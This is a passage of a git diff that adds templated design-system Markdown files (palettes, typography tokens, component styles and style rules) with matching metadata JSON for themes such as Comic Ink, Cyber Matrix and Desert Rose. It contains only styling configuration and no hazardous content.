Fraunces 4.5rem +- **h1:** Fraunces 2.4rem +- **body:** Inter 0.98rem +- **label:** Inter 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/coffee-roast.meta.json b/imported-skills/designdotmd/designs/coffee-roast.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..1d454018fe1d416d6ef84eff1bf35b6b961e6131 --- /dev/null +++ b/imported-skills/designdotmd/designs/coffee-roast.meta.json @@ -0,0 +1,4 @@ +{ + "id": "coffee-roast", + "name": "Coffee Roast" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/comic-ink.md b/imported-skills/designdotmd/designs/comic-ink.md new file mode 100644 index 0000000000000000000000000000000000000000..98e3c04b9abc51f5c585c977acd94f77b91476cb --- /dev/null +++ b/imported-skills/designdotmd/designs/comic-ink.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Comic Ink +description: Comic panel: pulp yellow, hero red, ink-black panel rules. +colors: + primary: "#140E0A" + secondary: "#8E7A58" + tertiary: "#E8242C" + neutral: "#F3D766" + surface: "#FBE580" + on-primary: "#140E0A" +typography: + display: + fontFamily: Bangers + fontSize: 5.5rem + fontWeight: 400 + letterSpacing: "0.02em" + h1: + fontFamily: Bangers + fontSize: 2.8rem + fontWeight: 400 + body: + fontFamily: DM Sans + fontSize: 0.98rem + lineHeight: 1.55 + label: + fontFamily: Bangers + fontSize: 0.92rem + letterSpacing: "0.06em" +rounded: + sm: 0px + md: 2px + lg: 4px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A comic-book palette: pulp-paper yellow, hero red, thick ink-black panel rules. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#140E0A`):** Headlines and core text. +- **Secondary (`#8E7A58`):** Borders, captions, and metadata. +- **Tertiary (`#E8242C`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F3D766`):** The page foundation. + +## Typography + +- **display:** Bangers 5.5rem +- **h1:** Bangers 2.8rem +- **body:** DM Sans 0.98rem +- **label:** Bangers 0.92rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/comic-ink.meta.json b/imported-skills/designdotmd/designs/comic-ink.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..e4e05b1cf1f0c0abf7022640b75a423c622f1a0f --- /dev/null +++ b/imported-skills/designdotmd/designs/comic-ink.meta.json @@ -0,0 +1,4 @@ +{ + "id": "comic-ink", + "name": "Comic Ink" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/concrete-lemon.md b/imported-skills/designdotmd/designs/concrete-lemon.md new file mode 100644 index 0000000000000000000000000000000000000000..45b3fa620bbdfae4bee81aab84ea4feb126631d0 --- /dev/null +++ b/imported-skills/designdotmd/designs/concrete-lemon.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Concrete Lemon +description: Raw concrete, structural grid, lemon accent. +colors: + primary: "#1A1A1A" + secondary: "#6B6B6B" + tertiary: "#D4E157" + neutral: "#D9D6D0" + surface: "#F0EDE6" + on-primary: "#1A1A1A" +typography: + display: + fontFamily: Archivo + fontSize: 4.5rem + fontWeight: 800 + letterSpacing: "-0.04em" + h1: + fontFamily: Archivo + fontSize: 2.5rem + fontWeight: 800 + body: + fontFamily: Archivo + fontSize: 0.95rem + lineHeight: 1.5 + label: + fontFamily: Archivo Narrow + fontSize: 0.72rem + letterSpacing: "0.1em" +rounded: + sm: 0px + md: 0px + lg: 2px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +Brutalist restraint with a jolt. Concrete greys, hard sans, a single high-visibility lemon for wayfinding. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1A1A1A`):** Headlines and core text. +- **Secondary (`#6B6B6B`):** Borders, captions, and metadata. +- **Tertiary (`#D4E157`):** The sole driver for interaction. Reserve it. +- **Neutral (`#D9D6D0`):** The page foundation. + +## Typography + +- **display:** Archivo 4.5rem +- **h1:** Archivo 2.5rem +- **body:** Archivo 0.95rem +- **label:** Archivo Narrow 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/concrete-lemon.meta.json b/imported-skills/designdotmd/designs/concrete-lemon.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..46cf09b90a76796247adc68d2d9c1035cf78e9dd --- /dev/null +++ b/imported-skills/designdotmd/designs/concrete-lemon.meta.json @@ -0,0 +1,4 @@ +{ + "id": "concrete-lemon", + "name": "Concrete Lemon" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/coworking-loft.md b/imported-skills/designdotmd/designs/coworking-loft.md new file mode 100644 index 0000000000000000000000000000000000000000..0688490bfaa9229e251a1967c07ccb2f53294782 --- /dev/null +++ b/imported-skills/designdotmd/designs/coworking-loft.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Coworking Loft +description: Loft coworking: warm concrete, mustard, exposed brick. +colors: + primary: "#1C1A16" + secondary: "#7E7A70" + tertiary: "#D9A02C" + neutral: "#EFE9DD" + surface: "#F8F2E6" + on-primary: "#F8F2E6" +typography: + display: + fontFamily: Space Grotesk + fontSize: 4rem + fontWeight: 700 + letterSpacing: "-0.03em" + h1: + fontFamily: Space Grotesk + fontSize: 2.1rem + fontWeight: 600 + body: + fontFamily: Inter + fontSize: 0.98rem + lineHeight: 1.6 + label: + fontFamily: JetBrains Mono + fontSize: 0.72rem + letterSpacing: "0.08em" +rounded: + sm: 3px + md: 6px + lg: 10px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A coworking-loft palette: warm concrete surfaces, mustard primary, exposed-brick secondary. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1C1A16`):** Headlines and core text. +- **Secondary (`#7E7A70`):** Borders, captions, and metadata. +- **Tertiary (`#D9A02C`):** The sole driver for interaction. Reserve it. +- **Neutral (`#EFE9DD`):** The page foundation. + +## Typography + +- **display:** Space Grotesk 4rem +- **h1:** Space Grotesk 2.1rem +- **body:** Inter 0.98rem +- **label:** JetBrains Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/coworking-loft.meta.json b/imported-skills/designdotmd/designs/coworking-loft.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..30cea1af37a44881147fa751292bc722bcfbf685 --- /dev/null +++ b/imported-skills/designdotmd/designs/coworking-loft.meta.json @@ -0,0 +1,4 @@ +{ + "id": "coworking-loft", + "name": "Coworking Loft" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/criterion-letterbox.md b/imported-skills/designdotmd/designs/criterion-letterbox.md new file mode 100644 index 0000000000000000000000000000000000000000..50567161ed9b323b4bd89fa3f40df05fdf7f4d16 --- /dev/null +++ b/imported-skills/designdotmd/designs/criterion-letterbox.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Criterion Letterbox +description: Arthouse film label: cream sleeve, spine red, 4:3 crops. +colors: + primary: "#141210" + secondary: "#6E6A60" + tertiary: "#A6262B" + neutral: "#EFE8D8" + surface: "#F8F1E1" + on-primary: "#F8F1E1" +typography: + display: + fontFamily: EB Garamond + fontSize: 5.5rem + fontWeight: 600 + letterSpacing: "-0.015em" + h1: + fontFamily: EB Garamond + fontSize: 2.6rem + fontWeight: 600 + body: + fontFamily: EB Garamond + fontSize: 1.05rem + lineHeight: 1.7 + label: + fontFamily: Inter + fontSize: 0.7rem + fontWeight: 600 + letterSpacing: "0.22em" +rounded: + sm: 0px + md: 0px + lg: 2px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A film-label system inspired by boxed editions. Cream card stock, spine-red accent, plate-numbered hierarchy. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#141210`):** Headlines and core text. +- **Secondary (`#6E6A60`):** Borders, captions, and metadata. +- **Tertiary (`#A6262B`):** The sole driver for interaction. Reserve it. +- **Neutral (`#EFE8D8`):** The page foundation. + +## Typography + +- **display:** EB Garamond 5.5rem +- **h1:** EB Garamond 2.6rem +- **body:** EB Garamond 1.05rem +- **label:** Inter 0.7rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/criterion-letterbox.meta.json b/imported-skills/designdotmd/designs/criterion-letterbox.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..0bef43e9130e4023c2ba9d188fd4c5facfe096e0 --- /dev/null +++ b/imported-skills/designdotmd/designs/criterion-letterbox.meta.json @@ -0,0 +1,4 @@ +{ + "id": "criterion-letterbox", + "name": "Criterion Letterbox" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/crypto-violet.md b/imported-skills/designdotmd/designs/crypto-violet.md new file mode 100644 index 0000000000000000000000000000000000000000..113ef06ae1f80572ad422804ba044fac8d51c8a9 --- /dev/null +++ b/imported-skills/designdotmd/designs/crypto-violet.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Crypto Violet +description: Web3 violet: holo gradients, mono addresses. +colors: + primary: "#ECE4FF" + secondary: "#8F85B8" + tertiary: "#9B5CF6" + neutral: "#120A24" + surface: "#1A1138" + on-primary: "#120A24" +typography: + display: + fontFamily: Space Grotesk + fontSize: 3.75rem + fontWeight: 700 + letterSpacing: "-0.03em" + h1: + fontFamily: Space Grotesk + fontSize: 2rem + fontWeight: 700 + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: JetBrains Mono + fontSize: 0.72rem + letterSpacing: "0.04em" +rounded: + sm: 6px + md: 12px + lg: 20px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A web3 wallet palette: deep violet surfaces, gradient primary, monospace addresses. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#ECE4FF`):** Headlines and core text. +- **Secondary (`#8F85B8`):** Borders, captions, and metadata. +- **Tertiary (`#9B5CF6`):** The sole driver for interaction. Reserve it. +- **Neutral (`#120A24`):** The page foundation. + +## Typography + +- **display:** Space Grotesk 3.75rem +- **h1:** Space Grotesk 2rem +- **body:** Inter 0.95rem +- **label:** JetBrains Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/crypto-violet.meta.json b/imported-skills/designdotmd/designs/crypto-violet.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..c1bbf49ad14394bc5dc3ad2d27d76a6c4deaace6 --- /dev/null +++ b/imported-skills/designdotmd/designs/crypto-violet.meta.json @@ -0,0 +1,4 @@ +{ + "id": "crypto-violet", + "name": "Crypto Violet" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/cyber-matrix.md b/imported-skills/designdotmd/designs/cyber-matrix.md new file mode 100644 index 0000000000000000000000000000000000000000..22144ba29c8c48cc1f397c9d8b4cb7c7cb5cc6ac --- /dev/null +++ b/imported-skills/designdotmd/designs/cyber-matrix.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Cyber Matrix +description: Cyberpunk neon grid meets operator terminal. +colors: + primary: "#E8FDFF" + secondary: "#7BD3E0" + tertiary: "#FF2A9A" + neutral: "#070A12" + surface: "#0E131F" + on-primary: "#070A12" +typography: + display: + fontFamily: Orbitron + fontSize: 3.5rem + fontWeight: 800 + letterSpacing: "0.02em" + h1: + fontFamily: Orbitron + fontSize: 1.8rem + fontWeight: 700 + body: + fontFamily: IBM Plex Mono + fontSize: 0.9rem + lineHeight: 1.55 + label: + fontFamily: IBM Plex Mono + fontSize: 0.7rem + letterSpacing: "0.12em" +rounded: + sm: 0px + md: 2px + lg: 4px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +Dense, high-voltage UI: pitch-black surface, magenta/cyan duotone, hard-edged panels. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#E8FDFF`):** Headlines and core text. +- **Secondary (`#7BD3E0`):** Borders, captions, and metadata. +- **Tertiary (`#FF2A9A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#070A12`):** The page foundation. + +## Typography + +- **display:** Orbitron 3.5rem +- **h1:** Orbitron 1.8rem +- **body:** IBM Plex Mono 0.9rem +- **label:** IBM Plex Mono 0.7rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/cyber-matrix.meta.json b/imported-skills/designdotmd/designs/cyber-matrix.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..6cc2da3ae06615ef51f0f800f43a368aeed171a8 --- /dev/null +++ b/imported-skills/designdotmd/designs/cyber-matrix.meta.json @@ -0,0 +1,4 @@ +{ + "id": "cyber-matrix", + "name": "Cyber Matrix" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/cyberpunk-city.md b/imported-skills/designdotmd/designs/cyberpunk-city.md new file mode 100644 index 0000000000000000000000000000000000000000..bda76246a5660123efb47c3736d6b53e43e6956b --- /dev/null +++ b/imported-skills/designdotmd/designs/cyberpunk-city.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Cyberpunk City +description: Neon signage, acid yellow, deep violet. +colors: + primary: "#F8F7FF" + secondary: "#8E8AC4" + tertiary: "#F0FF00" + neutral: "#110A24" + surface: "#1B1236" + on-primary: "#110A24" +typography: + display: + fontFamily: Orbitron + fontSize: 4rem + fontWeight: 700 + letterSpacing: "-0.02em" + h1: + fontFamily: Orbitron + fontSize: 2.25rem + fontWeight: 700 + body: + fontFamily: Space Grotesk + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: JetBrains Mono + fontSize: 0.72rem + letterSpacing: "0.08em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +High-energy night palette. Violet-black surfaces, electric yellow primary, for gaming and entertainment interfaces. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#F8F7FF`):** Headlines and core text. +- **Secondary (`#8E8AC4`):** Borders, captions, and metadata. +- **Tertiary (`#F0FF00`):** The sole driver for interaction. Reserve it. +- **Neutral (`#110A24`):** The page foundation. + +## Typography + +- **display:** Orbitron 4rem +- **h1:** Orbitron 2.25rem +- **body:** Space Grotesk 0.95rem +- **label:** JetBrains Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/cyberpunk-city.meta.json b/imported-skills/designdotmd/designs/cyberpunk-city.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..3c2a689674e67fb1db7fcb1b592c7085aac3b9cc --- /dev/null +++ b/imported-skills/designdotmd/designs/cyberpunk-city.meta.json @@ -0,0 +1,4 @@ +{ + "id": "cyberpunk-city", + "name": "Cyberpunk City" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/dating-blush.md b/imported-skills/designdotmd/designs/dating-blush.md new file mode 100644 index 0000000000000000000000000000000000000000..ed04194af2b4403aca9ceb1d61b5c2a6015b99e4 --- /dev/null +++ b/imported-skills/designdotmd/designs/dating-blush.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Dating Blush +description: Dating app: blush cream, lipstick red, flirty serif. +colors: + primary: "#2B1014" + secondary: "#936668" + tertiary: "#E84B55" + neutral: "#FBEDE8" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: DM Serif Display + fontSize: 4.5rem + fontWeight: 400 + letterSpacing: "-0.015em" + h1: + fontFamily: DM Serif Display + fontSize: 2.4rem + fontWeight: 400 + body: + fontFamily: Inter + fontSize: 1rem + lineHeight: 1.6 + label: + fontFamily: Inter + fontSize: 0.72rem + fontWeight: 600 + letterSpacing: "0.08em" +rounded: + sm: 14px + md: 22px + lg: 34px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A dating-app palette: blush cream surface, lipstick red accent, flirty serif display. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#2B1014`):** Headlines and core text. +- **Secondary (`#936668`):** Borders, captions, and metadata. +- **Tertiary (`#E84B55`):** The sole driver for interaction. Reserve it. +- **Neutral (`#FBEDE8`):** The page foundation. + +## Typography + +- **display:** DM Serif Display 4.5rem +- **h1:** DM Serif Display 2.4rem +- **body:** Inter 1rem +- **label:** Inter 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/dating-blush.meta.json b/imported-skills/designdotmd/designs/dating-blush.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..045677e3127154d07199c12a6aaad21760be6890 --- /dev/null +++ b/imported-skills/designdotmd/designs/dating-blush.meta.json @@ -0,0 +1,4 @@ +{ + "id": "dating-blush", + "name": "Dating Blush" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/daw-waveform.md b/imported-skills/designdotmd/designs/daw-waveform.md new file mode 100644 index 0000000000000000000000000000000000000000..a910d653c6cc830672b9652973029348023a6d0d --- /dev/null +++ b/imported-skills/designdotmd/designs/daw-waveform.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: DAW Waveform +description: Audio-production UI: waveform teal, signal red, rack black. +colors: + primary: "#E5E9EC" + secondary: "#6F7C88" + tertiary: "#3DD6B5" + neutral: "#0A0E12" + surface: "#11161C" + on-primary: "#0A0E12" +typography: + display: + fontFamily: Space Grotesk + fontSize: 3.5rem + fontWeight: 600 + letterSpacing: "-0.025em" + h1: + fontFamily: Space Grotesk + fontSize: 1.85rem + fontWeight: 600 + body: + fontFamily: Inter + fontSize: 0.92rem + lineHeight: 1.55 + label: + fontFamily: JetBrains Mono + fontSize: 0.7rem + letterSpacing: "0.04em" +rounded: + sm: 3px + md: 6px + lg: 10px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A DAW-style palette for audio tools: deep rack black, waveform teal, signal-red clip warnings. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#E5E9EC`):** Headlines and core text. +- **Secondary (`#6F7C88`):** Borders, captions, and metadata. +- **Tertiary (`#3DD6B5`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0A0E12`):** The page foundation. + +## Typography + +- **display:** Space Grotesk 3.5rem +- **h1:** Space Grotesk 1.85rem +- **body:** Inter 0.92rem +- **label:** JetBrains Mono 0.7rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/daw-waveform.meta.json b/imported-skills/designdotmd/designs/daw-waveform.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..68feccf0e26cd80dfa02c8c6ba62783aa8077e27 --- /dev/null +++ b/imported-skills/designdotmd/designs/daw-waveform.meta.json @@ -0,0 +1,4 @@ +{ + "id": "daw-waveform", + "name": "DAW Waveform" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/defi-chrome.md b/imported-skills/designdotmd/designs/defi-chrome.md new file mode 100644 index 0000000000000000000000000000000000000000..b16657031aebf5dc99d5b0dabfa4270ddd40be49 --- /dev/null +++ b/imported-skills/designdotmd/designs/defi-chrome.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: DeFi Chrome +description: Trading-floor neon: emerald gains, bloody losses. +colors: + primary: "#F0F2F5" + secondary: "#7A8696" + tertiary: "#00D395" + neutral: "#0B0E13" + surface: "#141820" + on-primary: "#0B0E13" +typography: + display: + fontFamily: Space Grotesk + fontSize: 3.5rem + fontWeight: 700 + letterSpacing: "-0.03em" + h1: + fontFamily: Space Grotesk + fontSize: 1.9rem + fontWeight: 600 + body: + fontFamily: Inter + fontSize: 0.92rem + lineHeight: 1.5 + label: + fontFamily: JetBrains Mono + fontSize: 0.72rem + letterSpacing: "0.04em" +rounded: + sm: 3px + md: 6px + lg: 12px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +An on-chain trading system. Tabular numerics, high-density panels. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#F0F2F5`):** Headlines and core text. +- **Secondary (`#7A8696`):** Borders, captions, and metadata. +- **Tertiary (`#00D395`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0B0E13`):** The page foundation. + +## Typography + +- **display:** Space Grotesk 3.5rem +- **h1:** Space Grotesk 1.9rem +- **body:** Inter 0.92rem +- **label:** JetBrains Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/defi-chrome.meta.json b/imported-skills/designdotmd/designs/defi-chrome.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..c8db4eafcd9f833f7865edd018d5096c062647d6 --- /dev/null +++ b/imported-skills/designdotmd/designs/defi-chrome.meta.json @@ -0,0 +1,4 @@ +{ + "id": "defi-chrome", + "name": "DeFi Chrome" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/denim-workwear.md b/imported-skills/designdotmd/designs/denim-workwear.md new file mode 100644 index 0000000000000000000000000000000000000000..6c3a8061ea986455ea671f28fe7c8bd0138d3499 --- /dev/null +++ b/imported-skills/designdotmd/designs/denim-workwear.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Denim Workwear +description: Heritage workwear: selvedge indigo, rivet copper. +colors: + primary: "#F6F1E7" + secondary: "#A89878" + tertiary: "#C96F2E" + neutral: "#1C2B45" + surface: "#243351" + on-primary: "#F6F1E7" +typography: + display: + fontFamily: Oswald + fontSize: 4.75rem + fontWeight: 700 + letterSpacing: "0.02em" + h1: + fontFamily: Oswald + fontSize: 2.5rem + fontWeight: 700 + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.6 + label: + fontFamily: Oswald + fontSize: 0.8rem + letterSpacing: "0.14em" +rounded: + sm: 0px + md: 2px + lg: 4px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A heritage workwear system: deep indigo, copper-rivet accent, thick slab weights. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#F6F1E7`):** Headlines and core text. +- **Secondary (`#A89878`):** Borders, captions, and metadata. +- **Tertiary (`#C96F2E`):** The sole driver for interaction. Reserve it. +- **Neutral (`#1C2B45`):** The page foundation. + +## Typography + +- **display:** Oswald 4.75rem +- **h1:** Oswald 2.5rem +- **body:** Inter 0.95rem +- **label:** Oswald 0.8rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/denim-workwear.meta.json b/imported-skills/designdotmd/designs/denim-workwear.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..bbb87d18c6cd43e8312aeacf0092a414ecd0040f --- /dev/null +++ b/imported-skills/designdotmd/designs/denim-workwear.meta.json @@ -0,0 +1,4 @@ +{ + "id": "denim-workwear", + "name": "Denim Workwear" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/desert-rose.md b/imported-skills/designdotmd/designs/desert-rose.md new file mode 100644 index 0000000000000000000000000000000000000000..0cdd43098b7d2a8544103e715992896cf5f6a06a --- /dev/null +++ b/imported-skills/designdotmd/designs/desert-rose.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Desert Rose +description: Sandstone, dusty rose, sunburnt ink. +colors: + primary: "#1F1410" + secondary: "#9E7B6E" + tertiary: "#D97B5A" + neutral: "#F5E6D8" + surface: "#FBF1E5" + on-primary: "#FBF1E5" +typography: + display: + fontFamily: Libre Caslon Display + fontSize: 4.75rem + fontWeight: 400 + letterSpacing: "-0.015em" + h1: + fontFamily: Libre Caslon Display + fontSize: 2.75rem + fontWeight: 400 + body: + fontFamily: Inter + fontSize: 1rem + lineHeight: 1.65 + label: + fontFamily: Inter + fontSize: 0.72rem + letterSpacing: "0.1em" +rounded: + sm: 4px + md: 10px + lg: 20px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A slow-burn desert palette: sandstone surfaces, dusty rose accent, ink black for counterweight. Feels like late afternoon. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1F1410`):** Headlines and core text. +- **Secondary (`#9E7B6E`):** Borders, captions, and metadata. +- **Tertiary (`#D97B5A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F5E6D8`):** The page foundation. + +## Typography + +- **display:** Libre Caslon Display 4.75rem +- **h1:** Libre Caslon Display 2.75rem +- **body:** Inter 1rem +- **label:** Inter 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git 